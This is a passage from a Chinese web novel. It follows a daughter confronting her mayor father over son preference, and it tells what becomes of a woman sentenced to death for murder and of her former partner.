亡妻在离世前,聘请了顶级的法律团队,确保财产全部归于女儿,他支取使用到如今,不过是因为女儿不争不提甚至主动赠予,他能成功竞选市长,也多亏了这份庞大的财富啊! 他看见池千雪站起身,她什么时候成长到如此有压迫性的?她不是一直沉默寡言孝顺懂事吗?她为什么用如此冷漠的神色看着自己的父亲? “重男轻女,实在是个无解的难题,但我多少能够理解的,可是爸,您不能又要爱情又要儿子又要权利又要财富啊。” 说完,池千雪转身离去。 是的,说到底,原主的困境,月牙的困境,包括陈惠的困境,都在诞生的最初就注定了。 只因她们都是女孩。 重男轻女,才是这一切悲剧的源头。 不论她们优秀与否,个性如何,怎样努力,只因为是女孩,就被亲人忽视、抛弃、伤害。 她们三人,最终都没能自救成功。 . 一弯月牙高挂在空中。 看守所内,月牙抱膝坐在床铺边缘,于黑暗中,想象着那弯月亮,她此生大概不能再看见了。 看守所的日子不算难熬,也没有什么大姐大欺负霸凌她,也许监狱里有吧,总之目前月牙适应良好,她虽然虚荣喜好所谓精致生活,但环境一旦变化,泥巴里滚得,土坑里也睡得,没什么是不可以的。 如今最坏的结果,无非是死刑。 她早就想死了,不过被一点俗世欲望牵绊着。 现在正好,不用选了,死很好,万一活着也行。 她想起阿豪,两人明明没有机会见面,但都默契地撇清了他的嫌疑,虽然是以失败告终,这也没什么,她努力过了,想来阿豪也判不了太久,希望他将来生个男孩,闯荡江湖会没有那么艰难…… 之前有个警官问她:“阿豪这样撇清和你的关系,不为你减刑的可能性做哪怕丁点的努力,你难道不会失望吗?” 月牙没有回答他,甚至还想笑,以为是爱情电影,要为了爱的人死去活来顶罪受死才不失望吗?要她大喊不关阿豪的事,阿豪则非要替她受死,两人遥遥相望涕泪横流生死离别才叫一场人生好戏吗? 太奇怪了吧。 月牙杀人是铁板钉钉的事,但阿豪还有机会干净脱身,当然是走脱一个算一个。 阿豪得好好地活着,要发达要得意,这样如果她月牙不死,将来出狱才有地方可以去啊。 . 城中村。 错综复杂的某条巷子里,阿豪抬头,从楼房间狭窄的缝隙里,看着空中那弯月牙,想起家乡的旷野,满天繁星中也有一弯月亮。 他没有想太多具体内容,只是仰着脖子不动。 这是他最后一次看月亮。 许久后,他低头掏出手机,加上了老豆推送的相亲对象的微讯。 . 池千雪后来一直有关注两人的情况。 月牙被判了死刑,但鉴于她的心理状况和认罪态度,是有希望上诉改判死缓的。 阿豪无罪释放,大律师名副其实。 月牙从未提出要见阿豪,阿豪从法庭离开后,也自顾自正常的生活着——他自己开了一间理发店,就在城中村,请了好些人,更好的装修,更好的技术,摆明了抢吴芳店里的生意。 哦,他结婚了,在月牙还没判的时候,就相亲结婚了。 吴芳离婚后,因为生意不好还被男人骗钱,后来和陈自强复婚,日子打打闹闹争吵不断却又再未分开。 月牙的父亲和那一大帮亲戚的生活没有什么变化,仿佛世上从来没有月牙这个人。 这真是令人难受。 说不清为什么的难受。